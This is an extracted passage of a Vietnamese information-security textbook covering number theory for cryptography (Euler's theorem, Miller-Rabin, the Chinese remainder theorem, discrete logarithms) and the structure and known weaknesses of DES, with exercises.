Page 38: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 38/147

 - 38 -

o   Nếu s và t là hai số nguyên tố cùng nhau, thì Ф(s.t) =

Ф(s).Ф(t) Vi dụ.

Ф(37) = 37 – 1 = 36Ф(21) = (3–1)×(7–1) = 2×6 = 12

Ф(72) = Ф(8.9) = Ф(8). Ф(9) = Ф(23).Ф(32) == (23-22)(32-31) = 4.6 = 24

III.4.6 Định lý OleĐịnh lý Ole là tổng quát hoá của Định lý Ferma

aФ(n) mod n = 1

vớ i mọi cặ p số nguyên dươ ng nguyên tố cùng nhau a và n: gcd(a,n)=1. 

Ví dụ.  a = 3; n = 10; Ф(10)=4;

Vì vậy 34= 81 = 1 mod 10

a = 2; n =11; Ф(11)=10;

Do đó 210 = 1024 = 1 mod 11

III.4.7 Kiểm tra tính nguyên tố Giả sử cần phải tìm một số nguyên tố r ất lớ n. Lấy ngẫu nhiên một số đủ lớ n, ta cần phảikiểm tra xem số đó có phải là số nguyên tố không. Phươ ng pháp truyền thống là thử bằng phép chia như sau:

o  Chia cho tất cả các số (chỉ cần nguyên tố) nhỏ hơ n hoặc bằng căn bậc hai củasố đó. Nếu nó không chia hết cho số nào, thì đó là số nguyên tố.

o  Chỉ hiệu quả khi xét các số nhỏ.

Có phươ ng pháp khác, mà ta sẽ xét ở  đây, sử dụng các phép kiểm tra tính nguyên tố thống kê dựa trên các tính chấto  Mà mọi số nguyên tố phải thỏa mãno   Nhưng có một số số không nguyên tố, gọi là giả nguyên tố cũng thoả mãn tính

chất đó.Cụ thể là phép kiểm tra dựa trên Định lý Ferma như sau: nếu số n cần kiểm tra tínhnguyên tố là số nguyên tố, thì nó sẽ thoã mãn định lý Ferma đối vớ i mọi số a nhỏ hơ n nóan-1 mod n = 1. Như vậy, lấy ngẫu nhiên số a và kiểm tra xem nó có tính chất trên không. Nếu có thì n có thể là số nguyên tố, nếu cần độ tin cậy lớ n hơ n, thì ta kiểm tra liên tiế pnhiều lần như vậy vớ i các số ngẫu nhiên a đượ c chọn. Sau mỗi lần qua đượ c phép thử,xác suất để n là số nguyên tố lại tăng lên. Chú ý r ằng

- nếu bi

mod n = 1,thì b2i mod n = (1)2 mod n = 1 và- nếu bi mod n = n – 1,thì b2i mod n = (n - 1)2 mod n = (n2 – 2n +1) mod n = 1

Kiểm tra số n có là số nguyên tố không, ta chỉ cần xét n là lẻ, khi đó n-1 là chẵn và biểudiễn nó dạng (n–1)= 2k.q 

Khi đó để tính an-1, ta tính aq, sau đó bình phươ ng liên tiế p k lần.

Page 39: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 39/147

 - 39 -

Thuật toán Miller - Rabin

•  Thuật toán như sau: TEST (n ) is:1. Find integers k , q , k > 0, q odd, so that (n–1)= 2k.q 

2. Select a random integer a, 1<a<n–1

3. if aq  mod n = 1 then return (“maybe prime");4. for  j = 0 to k  – 1 do

5. if (a2jq  mod n = n-1)

then return(" maybe prime ")1. return ("composite")

Các xem xét về mặt xác suất Nếu thuật toán Miller Rabin tr ả về số “composite” thì số  đó chắc chắn không là số nguyên tố, vì khi đó số n và số a < n không thoả mãn định lý Fecma, tức là an-1 mod n≠ 1. Ngượ c lại số đó có thể là số nguyên tố hoặc giả nguyên tố theo ngh ĩ a nó thoả mãn định lýFecma vớ i số a < n. Ngườ i ta chứng minh đượ c r ằng xác suất để số giả nguyên tố đókhông là số nguyên tố là là ¼. Suy ra nếu lặ p t phép thử vớ i các lựa chọn ngẫu nhiên

khác nhau của số a, thì khi đó xác suất để số n sau t phép thử là số nguyên tố là: 1-(1/4)t

Ví dụ. Sau 10 bướ c, t = 10, mà số đã cho n đều có thể là nguyên tố, thì xác suất để n làsố nguyên tố là 1 – (1/4)10 > 0.99999.

Phân bố nguyên tố.Định lý về số nguyên tố khẳng định số nguyên tố xuất hiện trung bình sau mỗi khoảng lnn số nguyên (nếu xét các số trong kích thướ c n). Như vậy bỏ qua số chẵn và các bội số của 5, ta cần kiểm tra 0.4ln n số trong kích thướ c n để tìm đượ c 1 số nguyên tố. Chẳng

hạn n=1024, thì 0.4*ln 1024 = 0.4*10 = 4, ngh ĩ a là trong 1024 số đầu, thì trung bình cứ 4số lại có một số nguyên tố. Lưu ý đây chỉ là trung bình, vì có lúc các số nguyên r ất gầnnhau và có lúc lại r ất xa nhau.

III.4.8 Định lý phần dư Trung Hoa Trong nhiều tr ườ ng hợ  p ta muốn tìm cách để tăng tốc độ tính toán Modulo. Các phéptoán trên modulo các số nhỏ tính nhanh nhiều so vớ i các số lớ n. Chính vì vậy nếu số lớ n phân tích đượ c thành tích của các số nhỏ, từng cặ p nguyên tố cùng nhau, thì ta sẽ có cáchtính hiệu quả nhờ vào định lý Phần dư Trung hoa.Tính toán trên modulo của một tích các số  mod M với M= m1m2..mk, trong đóGCD(mi, m j) = 1, vớ i mọi i khác j. Định lý phần dư Trung Hoa cho phép làm việc trên

từng modulo mi riêng biệt. Vì thờ i gian tính toán các phép toán trên modulo tỷ lệ vớ i kíchthướ c của số lấy modulo nên điều đó sẽ nhanh hơ n tính toán trên toàn bộ M.

Có thể triển khai  Định lý Trung Hoa theo một số cách như sau:

•  Tính toán theo modulo số lớ n. Để tính A mod M, vớ i M khá lớ n và A là biểu thứcsố học nào đó. Tr ướ c hết ta cần tính tất cả  ai = A mod mi. Sau đó sử dụng công thức

Page 40: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 40/147

 - 40 -

trong đó Mi = M/mi

Ví dụ. Tính 178 mod 77. Áp dụng định lý phần dư Trung hoa, ta coi A = 1718, m1 = 7,m2 = 11. Khi đó M1 = 11, M2 = 7 và

11-1 mod 7 = 4-1 mod 7 = 2, suy ra c1 = 11*2 = 227-1 mod 11 = 8, suy ra c2 = 7*8 = 56

a1 = 178 mod 7 = (17 mod 7)8 mod 7 = 38 mod 7 = (32)4 mod 7 = 2a2 = 178 mod 11 = (17 mod 11)8 mod 11 = 68 mod 11 =

= (62)4 mod 11 = 34 mod 11 = 4Vậy A = 178 mod 77 = (2*22 + 4*56) mod 77 = 268 mod 77 = 37 mod 37

•  Giải hệ phươ ng trình modulo. Cho ai = x mod mi, vớ i GCD(mi, m j) = 1, vớ i mọi i

khác j. Khi đó ta cũng áp dụng Định lý phần dư Trung Hoa để tìm x.Ví dụ. Cho x ≡ 5 mod 7 và x ≡ 6 mod 11. Tìm x.

Áp dụng định lý phần dư Trung hoa, ta tính:7-1 mod 11 = 8 và 11-1 mod 7 = 2. Như vậyx = (5*2*11 + 6*8*7) mod (7*11) = 61 mod 77.

III.4.9 Căn nguyên tố Từ Định lý Ole ta có a

Ф(n)mod n=1, vớ i a và n là nguyên tố cùng nhau. Nếu khôngcó số mũ dươ ng nào nhỏ hơ n Ф(n), mà có tính chất như vậy đối vớ i a, thì khi đó ta gọi alà căn nguyên tố của n. Cụ thể như sau:•  Xét m để  am mod n = 1, GCD(a,n)=1

Theo Định lý Ơle ta có m = Ф(n) thỏa mãn hệ thức trên, nhưng có thể cũng có giá tr ị nhỏ hơ n của m < Ф(n) cũng thoả mãn. Khi đạt đượ c m như vậy, thì nó cũng thoả mãn vớ i bội của m, tức là sẽ có vòng lặ p.•   Nếu giá tr ị  m = Ф(n) là số dươ ng nhỏ nhất thoả mãn công thức trên thì a đượ c gọi là

căn nguyên tố của n.•   Nếu p là số nguyên tố và a là căn nguyên tố của p, thì các luỹ thừa của a:

a0, a1, …, a p-2 sẽ sinh ra nhóm modulo p.Việc tìm các căn nguyên tố a của n sẽ có ích trong việc xét mã công khai.Ví dụ. Xét số nguyên tố p = 5 và xét xem a = 2 có phải là căn nguyên tố của 5 không?Ta có:2 mod 5 = 2; 22mod 5 = 4; 23mod 5 = 3; 24mod 5 = 1

Rõ ràng m= 4= Ф(5) là số mũ dươ ng nhỏ nhất có tính chất 2m mod 5 = 1, nên 2 là cănnguyên tố của 5.•  Xét số n = 6 và xét xem a = 3 có phải là căn nguyên tố của 3 không?Ta có

3 mod 8 = 3; 32mod 8 = 1; 33mod 8 = 3; 34mod 8 = 1

Rõ ràng m= 2 < 4 = Ф(8) là số mũ dươ ng nhỏ nhất có tính chất 3m mod 8 = 1, nên 3không là căn nguyên tố của 8.

Page 41: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 41/147

 - 41 -

III.4.10 Logarit rờ i rạcBài toán ngượ c của bài toán lũy thừa là tìm logarit r ờ i r ạc của một sô modulo p, tức làtìm số nguyên x sao cho

ax = b mod p

Hay còn đượ c viết là x=logab mod p hoặc x=inda,p(b) 

 Nếu a là căn nguyên tố của p và p là số nguyên tố, thì luôn luôn tồn tại logarit r ờ i r ạc,ngượ c lại thì có thể khôngVí dụ.  Tìm x = log2 3 mod 13. Bằng cách thử lần lượt:

20 mod 13 = 1; 21 mod 13 = 2, 22 mod 13 = 4, 23 mod 13 = 8, 24 mod 13 = 3.Vậy log2 3 mod 13 = 4.

Tìm x = log3 4 mod 13 (tìm x: 3x

= 4 mod 13). Trong tr ườ ng hợ  p này không có lờ igiải, vì30 mod 13 = 1; 31 mod 13 = 3; 32 mod 13 = 9; 33 mod 13 = 1= 30 mod 13Ta nhận thấy, trong khi bài toán lũy thừa là dễ dàng, thì bài toán logarit r ờ i r ạc là r ấtkhó. Đây cũng là một cơ sở của mã công khai.

Bài tập.

1.  Chứng tỏ r ằng tậ p các số nguyên vớ i phép cộng hai số nguyên tạo thành nhómgiao hoán.Chứng tỏ r ằng tậ p các số nguyên vớ i phép cộng hai số nguyên và phépnhân hai số nguyên tạo thành vành giao hoán. nhóm giao hoán. Hỏi vành đó cótạo thành miền nguyên hay tr ườ ng không.

2.  Chứng tỏ r ằng tậ p các phần dư khi chia cho n, Zn vớ i hai phép toán và nhân theomodulo n tạo thành vành giao hoán. Vớ i n thỏa mãn điều kiện gì, thì vành đó làtr ườ ng.

3.  Tính giá tr ị các biểu thức theo modulo sau:•  8 mod 9 + 7 mod 9•  8 mod 9 * 7 mod 9•  5 mod 11 – 9 mod 11•  53 mod 7•  520 mod 7•  5/6 mod 7

4.  Tính giá tr ị các biểu thức theo modulo sau•  (-546) mod 13 - 347 mod 11•  (1234 + 2345) mod 17•  (213 * 345) mod 19•  15-1 mod 101•  41-1 mod 100•  1435 mod 11•  (235*126/13) mod 19•  31130 mod 23•  (23525 /17 + 12619. 397 /13) mod 29

5.  Cài đặt thuật toán Ocolit mở r ộng

Page 42: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 42/147

 - 42 -

6.  Biểu diễn phép nhân đa thức vớ i hệ số theo mod 2 và theo module đa thức sau (x3

+ x + 1) (gọi là GL(23):•  (x + 1) * (x2 + x + 1) mod (x3 + x + 1)•  x2 * (x2 + x + 1) mod (x3 + x + 1)

•  (x2

+ 1) * (x2

+ x + 1) mod (x3

+ x + 1)•  (x2 + x + 1) * (x2 + x + 1) mod (x3 + x + 1)dướ i dạng các phép toán shift và XOR của bit

7.  Chứng tỏ GL(23) là một tr ườ ng, nêu thuật toán tìm các phần tử nghịch đảo theo phép nhân của các phần tử khác 0.

8.  Tính hàm Ơle của các số nguyên sau:•  12, 17, 21, 32, 36, 40, 72, 256.

8  Dùng Định lý Ferma và Định lý Ole tính các biểu thức sau•  616 mod 17; 1516 mod 17; 95100 mod 101•  74 mod 10; 95 mod 10; 1012 mod 21; 9190 mod 100;

9  Cài đặt chươ ng trình kiểm tra số giả nguyên tố 

10  Giải các phươ ng trình modulo sau•  x mod 11 = 3; x mod 13 = 6•  y mod 51 = 11; y mod 100 = 15•  z mod 12 = 5; z mod 17 = 8; z mod 23 = 11.

11  Sử dụng định lý phần dư Trung Hoa tính giá tr ị các biểu thức sau•  2530 mod (7*8)•  70254 mod (11*13)•  60-1 mod (11*13)•  ((21100 + 33-1). 4551) mod (7.9.11)•  ((19125 + 2551)4721 /37 mod (9.11.13)

12  Tìm các căn nguyên tố của 9, 1113  Tìm các căn nguyên tố của 13 và 17.14  Tính logarit r ờ i r ạc sau, nếu có:

•  Log3 7 mod 11, Log2 9 mod 11•  Log5 6 mod 13, Log3 7 mod 13•  Log2 15 mod 17, Log3 11 mod 17

Page 43: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 43/147

 - 43 -

CHƯƠ NG IV:

CHUẨN MÃ DỮ LIỆU (DES) VÀ CHUẨN MÃ NÂNG CAO (AES)

IV.1 Mã khối hiện đạiBây giờ chúng ta xét các mã khối hiện đại. Đây là kiểu mã đượ c sử dụng r ộng rãi nhất

của các thuật toán mã hoá. Đồng thờ i nó cũng đượ c sử dụng k ết hợ  p vớ i các thủ tục khácnhằm cung cấ p các dịch vụ an toàn và xác thực.Tr ướ c hết chúng ta tậ p trung vào chuẩn mã dữ liệu DES (Data Encryption Standards) để minh hoạ cho các nguyên lý mã khối. Tr ướ c hết chúng ta xét hai kiểu xử lý thông tinkhác nhau trên bản rõ. Một kiểu chia dữ liệu thành từng khối để xử lý, kiểu kia xử lý tr ựctiế p từng đơ n vị thông tin.IV.1.1 Phân biệt mã khối vớ i mã dòng.

o  Mã khối (block) xử lý bản tin theo từng khối, lần lượ t mỗi khối đượ c mã hoặc giảimã. Có thể xem giống như phép thế vớ i các ký tự lớ n – mỗi khối gồm 64 bít hoặcnhiều hơ n.

o  Mã dòng xử lý bản tin theo từng bít hoặc bite, lần lượ t mỗi bít hoặc bite đượ c mã

hoá hoặc giải mã. Chẳng hạn như mã khoá tự động Vigenere.o  R ất nhiều mã hiện nay là mã khối. Chúng có khả năng ứng dụng r ộng rãi hơ n. R ấtnhiều ứng dụng mã đối xứng trên mạng sử dụng mã khối.

Các nguyên lý mã khốio  Hầu hết các mã khối đối xứng dựa trên cấu trúc mã Fiestel, do nhà bac học Fiestel

đề xuất năm 1973. Đây là điều cần thiết, vì cần phải có khả năng giải mã các bảnmã một cách có hiệu quả.

o  Mã khối đượ c coi giống như phép thế cực lớ n. Cần bảng có 264 đầu vào cho mãkhối 64 bít, bảng như vậy là r ất lớ n. Do đó có thể thay thế bằng cách tạo các khốinhỏ hơ n.

o  Sử dụng ý tưở ng dùng mã tích. Ở đây sẽ k ết hợ  p giữa mã thay thế và mã hoán vị,

đồng thờ i sử dụng nhiều vòng lặ p như vậy.IV.1.2 Claude Shannon và mã phép thế hoán vị  Năm 1949, Shannon đưa ra ý tưở ng mạng phép thế và hoán vị (S-P networks) – là mãtích phép thế và hoán vị hiện đại vớ i mục đích là cản tr ở việc thám mã dựa vào các phântích thống kê. Giả sử k ẻ thám mã biết một số tính chất thống kê của bản rõ như bảng phân bố tần suất của các chữ cái, bộ các chữ cái. Nếu các đặc tr ưng thống kê này đượ c phảnánh trong bản mã, thì k ẻ thám mã sẽ tìm cách tìm đượ c khoá hoặc một phần khoá hoặctìm mò ra bản rõ. Shannon muốn có một bản mã lý tưở ng, ở  đó mọi đặc tr ưng thống k ế đều độc lậ p vớ i khoá riêng đượ c dùng, như vậy k ẻ thám mã sẽ không có cơ  sở  để tìmkhoá.Mạng S-P đã tạo nên cơ sở cho mã khối hiện đại. Mạng S-P dựa trên hai thao tác mã cơ  

 bản mà ta đã biết: phép thế (S-box) và hoán vị (P-box). Chúng sẽ tạo nên độ r ối loạn vàkhuếch tán của bản tin.R ối loạn và khuếch tán

o  Một tính chất quan tr ọng của mã tốt là mã cần phải che dấu hoàn toàn các tínhchất thống kê của bản tin gốc. Như ta đã thấy mã bộ đệm một lần có thể làm đượ cđiều đó, do tính ngẫu nhiên của khoá đệm và độ dài bằng bản tin của nó.

o  Shannon nghiên cứu và đề xuất phươ ng pháp thực tế hơ n là k ết hợ   p các thành phần khác nhau của bản rõ để xử lý qua nhiều lần và nhận đượ c bản mã.

Page 44: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 44/147

 - 44 -

o  Khuếch tán là làm tan biến cấu trúc thống kê của bản rõ trên bản mã. Điều đó đạtđượ c nếu mỗi bit của bản rõ tác động đến giá tr ị của r ất nhiều bit trên bản mã haymỗi bit của bản mã chịu tác động của nhiều bit bản rõ.

o  R ối loạn là làm cho quan hệ giữa bản mã và khoá càng phức tạ p càng tốt. Bản mãcó tính r ối loạn cao sẽ làm cho việc tìm mò khoá tr ở nên r ất khó khăn, ngay cả khi

k ẻ tấn công có các đặc tr ưng thống kê của bản mã và biết cách khoá tác động đến bản mã.IV.1.3 Cấu trúc mã Fiestel

•  Horst Fiestel sáng tạo nên mã Fiestel dựa trên mã tích nghịch đảo đượ c, tức là k ếthợ  p mã thế vớ i mã hoán vị và qui trình giải mã là giống vớ i mã hoá, chỉ cần thayđổi vai trò khối bản mã vớ i khối bản rõ và thứ tự các khoá con đượ c dùng. Từ khoá chính sinh ra cho mỗi vòng lặ p một khoá con.

•  Chia khối đầu vào thành 2 nửa bằng nhau:o  Thực hiện phép thế trên nửa trái. Sử dụng hàm vòng trên nửa phải và khoá

con, r ồi tác động đến nửa trái.o  Sau đó hoán vị các nửa, nửa phải chưa đượ c xử lý.

o  Xử lý vòng tiế p theo.•  Đây là một thể hiện của mã thế k ết hợ  p vớ i hoán vị của Shannon. Ta xem xét cụ 

thể cấu trúc mã Fiestel gồm n vòng:

Page 45: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 45/147

 - 45 -

 Nguyên tắc thiết k ế mã khối Fiestel•  Tăng kích thướ c khối sẽ làm tăng độ an toàn nhưng làm giảm tốc độ mã•  Tăng kích thướ c khoá sẽ làm tăng độ an toàn – tìm khoá khó hơ n, nhưng làm

chậm mã.•  Tăng số vòng làm tăng độ an toàn nhưng làm chậm mã

•  Phát sinh khoá con càng phức tạ p làm cho việc thám mã khó hơ n nhưng làm chậmmã•  Hàm vòng càng phức tạ p làm cho việc thám mã khó hơ n nhưng làm chậm mã•  Phần mềm mã hoá/giải mã nhanh và khó thám mã là tiêu chí hay đượ c đề cậ p đến

đối vớ i ứng dụng và kiểm nghiệm thực tế.

Giải mã khối Fiestel

IV.2 Chuẩn mã dữ liệu (DES)DES (Data Encryption Standards) là mã khối sử dụng r ộng rãi nhất trên thế giớ i trongthờ i gian vừa qua. Nó đượ c đưa ra năm 1977 bở i NBS – văn phòng chuẩn Quốc gia Hoak ỳ (bây giờ là NIST - Viện chuẩn và công nghệ Quốc gia). DES là mã khối vớ i mỗi khốidữ liệu 64 bít và dùng khoá dài 56 bít. Nó đượ c sử dụng r ộng rãi và đã đượ c tranh luận k ỹ về mặt an toàn.

Page 46: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 46/147

 - 46 -

IV.2.1 Lịch sử DES:Cuối những năm 1960, IBM phát triển mã Lucifer, đượ c lãnh đạo bở i Fiestel. Ban đầuLucifer sử dụng khối dữ liệu 64 bít và khoá 128 bít. Sau đó tiế p tục phát triển như mãthươ ng mại. Năm 1973 NBS yêu cầu đề xuất chuẩn mã Quốc gia. IBM đề nghị bản sửađổi Lucifer, sau này gọi là DES. Đã có các tranh luận về thiết k ế của DES. Vì chuẩn của

DES đượ c công khai, mọi ngườ i đóng góp ý kiến về tốc độ, độ dài khoá và mức độ antoàn, khả năng thám mã. Ngườ i ta đề xuất chọn khoá 56 bít thay vì 128 để tăng tốc đọ xử lý và đưa ra các tiêu chuẩn thiết k ế một chuẩn mã dữ liệu. Các suy luận và phân tíchchứng tỏ r ằng thiết k ế như vậy là phù hợ  p. Do đó DES đượ c sử dụng r ộng rãi, đặc biệttrong l ĩ nh vực tài chính.

IV.2.2 Sơ  đồ mã DES

•  Hoán vị ban đầu IP: đây là bướ c đầu tiên của tính toán dữ liệu, hoán vị IP đảothứ tự các bít đầu vào: các bít chẵn sang nửa trái và các bít lẻ sang nửa phải. Hoánvị trên dễ dàng thực hiện trên phần cứng.Mỗi số trong hệ 16 biểu diễn bở i 4 bit, 16 số đượ c thể hiện bở i 64 bit. Mỗi bit có

một vị trí xác định qua hoán vị ban đầu (xem bảng phụ lục cuối tài liệu).Ví dụ IP(675a6967 5e5a6b5a) = (ffb2194d 004df6fb)

•  Cấu tạo một vòng của DESSử dụng hai nửa 32 bít trái và 32 bít phải. Như đối vớ i mọi mã Fiestel, nửa phải củavòng tr ướ c đượ c chuyển qua nửa trái của bướ c sau và lấy đầu ra của hàm vòng trênnửa phải và khoá con cộng cơ số 2 vớ i nửa trái. Có thể biểu diễn bằng công thức như sau:

Page 47: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 47/147

 - 47 -

Li  = R i  –1R i  = Li  –1 xor F(R i  –1, K i )

Ở đây F lấy 32 bít nửa phải R, mở r ộng thành 48 bít nhờ hoán vị E, r ồi cộng vào vớ ikhoá con 48 bít. Sau đó chia thành 8 cụm 6 bít và cho qua 8 S-box để nhận đượ c k ếtquả 32 bít. Đảo lần cuối sử dụng hoán vị 32 bít P nhận đượ c 32 bít đầu ra, r ồi cộng

vớ i nửa trái để chuyển thành nửa phải của bướ c sau.

•  Các hộp thế S (xem phụ lục cuối tài liệu)Có 8 hộ p S khác nhau ánh xạ 6 bít vào 4 bít. Các hộ p S box thực hiện các phépthế, chúng đượ c cấu tạo không có qui luật và cố định. Mỗi S box là hộ p 4 x 16 bít, mỗi hàng là một hoán vị của 16 phần tử. Giả sử ta có 6 bít đầu vào. Ta lấy hai

 bít ngoài 1-6 ghép lại đượ c số nhị phân xác định chọn hàng từ 0 đến 3 trong S box. Bốn bít từ 2 đến 5 là một số nhị phân xác định cột từ 0 đến 15 trong S box.Lấy phần tử tươ ng ứng trên hàng và cột mớ i đượ c xác định, đây là một số từ 0đến 15, chuyển sang số nhị phân ta đượ c 4 bít đầu ra. Như vậy 48 bít chia thànhcó 8 cụm 6 bít, qua 8 S box đượ c chuyển thành 8 cụm 4 bít, tổng cộng là 32 bítViệc chọn hàng trong các S box phụ thuộc cả dữ liệu và khoá - đặc tr ưng nàyđượ c gọi là khoá tự xác định

Ví dụ:S(18 09 12 3d 11 17 38 39) = 5fd25e03

•  Sinh khoá con của DESo  Tạo 16 khoá con sử dụng cho 16 vòng của DES. 56 bit khoá đầu vào đượ c

sử dụng như bảng 8 x 8, trong đó cột thứ 8 không sử dụng.o  Hoán vị ban đầu của khoá PC1 và tách 56 bít thành hai nửa 28 bít.o  16 giai đoạn bao gồm

  Ở mỗi vòng nửa trái và nửa phải đượ c dịch trái vòng quanh tươ ngứng 1 và 2 bit. Hai nửa này đượ c dùng tiế p cho vòng sau.

  Đồng thờ i hai nửa cũng cho qua hoán vị PC2 và chọn mỗi nửa 24 bít gộ p lại thành 48 bít để sinh khoá con..

o  Ứ ng dụng thực tế trên cả phần cứng và phần mềm đều hiệu quả 

Page 48: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 48/147

 - 48 -

Các thông số cụ thể về hoán vị ban đầu, các hộ p Box và thuật toán sinh khoá của DESđượ c cho cuối tài liệu trong phần phụ lục.

•  Giải mã DESGiải mã làm ngượ c lại quá trình mã hoá. Vớ i thiết k ế Fiestel thực hiện mã hoátiế p vớ i các khoá con từ SK16 ngượ c lại về SK1. Nhận thấy r ằng hoán vị ban đầuIP sẽ tr ả lại tác dụng của hoán vị cuối FP. Vòng đầu vớ i SK16 sẽ tr ả lại tác dụngcủa vòng mã thứ 16. Vòng thứ 16 vớ i SK1 sẽ tr ả lại tác dụng của vòng mã đầutiên. Hoán vị cuối FP tr ả lại tác dụng hoán vị ban đầu IP. Như vậy đã khôi phụclại đượ c dữ liệu ban đầu.

IV.2.3 Tính chất của DES•  Tác dụng đồng loạt. Khi ta thay đổi 1 bit trong khoá sẽ gây ra tác động đồng loạt

làm thay đổi nhiều bit trên bản mã. Đây là tính chất mong muốn của khoá trongthuật toán mã hoá. Nếu thay đổi 1 bít đầu vào hoặc khoá sẽ kéo theo thay đổi mộtnửa số bít đầu ra. Do đó không thể đoán khoá đượ c. Co thể nói r ằng DES thể hiệntác động đồng loạt mạnh. 

•  Sứ c mạnh của DES – kích thướ c khoá.Độ dài của khoá trong DES là 56 bít có 256 = 7.2 x 1016 giá tr ị khác nhau. Đây làcon số r ất lớ n nên tìm kiếm duyệt r ất khó khăn. Các thành tựu gần đây chỉ ra r ằngthờ i gian cần thiết để giải một trang mã DES mà không biết khoá là: sau một vàitháng trên Internet trong năm 1997; một vài ngày trên thiết bị phần cứng tăng

cườ ng trong năm 1998; sau 22 giờ nếu k ết hợ  p các biện pháp trong năm 1999. Như vậy vẫn có thể đoán đượ c bản rõ sau một khoảng thờ i nhất định, nếu cónguồn lực máy tính mạnh. Chính vì vậy bây giờ ngườ i ta đã xét một vài biến thể của DES nhằm nâng cao sức mạnh cho DES.

•  Sứ c mạnh của DES – tấn công thờ i gian. Đây là dạng tấn công vào cài đặt thực tế của mã. Ở đây sử dụng hiểu biết về quátrình cài đặt thuật toán mà suy ra thông tin về một sô khoá con hoặc mọi khoácon. Đặc biệt sử dụng k ết luận là các tính toán chiếm khoảng thờ i gian khác nhau

Page 49: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 49/147

 - 49 -

 phụ thuộc vào giá tr ị đầu vào của nó. Do đó k ẻ thám mã theo dõi thờ i gian thựchiện mà phán đoán về khoá. Có thể k ẻ thám mã sáng tạo ra các loại card thôngminh phán đoán khoá, mà còn phải bàn bạc thêm về chúng.

•  Sứ c mạnh của DES – tấn công thám mã. Có một số phân tích thám mã trên DES, từ đó đề xuất xây dựng một số cấu trúc

sâu về mã DES. R ồi bằng cách thu thậ p thông tin về mã, có thể đoán biết đượ c tấtcả hoặc một số khoá con đang dùng. Nếu cần thiết sẽ tìm duyệt những khoá cònlại. Nói chung, đó là những tấn công dựa trên phươ ng pháp thống kê bao gồm:thám mã sai phân, thám mã tuyến tính và tấn công khoá liên k ết.

•  Thám mã sai phânMột trong những thành tựu công khai gần đây trong thám mã là phươ ng phápthám mã sai phân. Nó đượ c biết đến bở i NSA trong những năm 70, chẳng hạntrong thiết k ế DES. Murphy, Birham và Shamir công bố phươ ng pháp sai phânnăm 1990. Đây là phươ ng pháp mạnh để phân tích mã khối. Nó sử dụng phân tíchhầu hết các mã khối hiện tại vớ i mức độ thành công khác nhau. Nhưng DES cóthể kháng cự lại các tấn công đó. Thám mã sai phân là tấn công thống kê chống

lại các mã Fiestel. Mã Fiestel dùng các cấu trúc mã chưa đượ c sử dụng tr ướ c kianhư thiết k ế S-P mạng có đầu ra từ hàm f chịu tác động bở i cả đầu vào và khoá.Do đó không thể tìm lại đượ c giá tr ị bản rõ mà không biết khoá.Thám mã sai phân so sánh hai cặ p mã có liên quan vớ i nhau

o  Vớ i sự khác biệt đã biết ở  đầu vàoo  Khảo sát sự khác biệt ở  đầu rao  Khi vớ i cùng khoá con đượ c dùngo  Trong công thức sau vớ i hai đầu vào khác nhau, vế trái là sự khác biệt mã

ở cùng vòng thứ i đượ c biểu diễn qua sự khác biệt mã ở vòng tr ướ c đó i-1và sự khác biệt của hàm f trong ngoặc vuông.

Sự khác biệt ở  đầu vào cho sự khác biệt ở  đầu ra vớ i một xác suất cho tr ướ c.o   Nếu tìm đượ c một thể hiện đầu vào - đầu ra vớ i xác suất cao. Thì có

thể luận ra khoá con đượ c sử dụng trong vòng đóo  Sau đó có thể lặ p lại cho nhiều vòng (vớ i xác suất giảm dần)

  Cặ p đúng cho bít khoá như nhau  Cặ p sai cho giá tr ị ngẫu nhiêno  Đối vớ i số vòng lớ n, xác suất để có nhiều cặ p đầu vào 64 bít thoả mãn

yêu cầu là r ất nhỏ.o  Birham và Shamir chỉ ra r ằng làm như thế nào để các đặc tr ưng lặ p của

13 vòng có thể bẻ đượ c DES 16 vòng đầy đủ.

Page 50: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 50/147

 - 50 -

o  Qui trình thám mã như sau: thực hiện mã hoá lặ p lại vớ i cặ p bản rõ cóXOR đầu vào biết tr ướ c cho đến khi nhận đượ c XOR đầu ra mong

muốno  Khi đó có thể tìm đượ c  nếu vòng trung gian thỏa mãn XOR yêu cầu thì có cặ p đúng  nếu không thì có cặ p sai, tỷ lệ sai tươ ng đối cho tấn công đã

 biết tr ướ c dựa vào thống kê.o  Sau đó có thể tạo ra các khoá cho các vòng theo suy luận sau

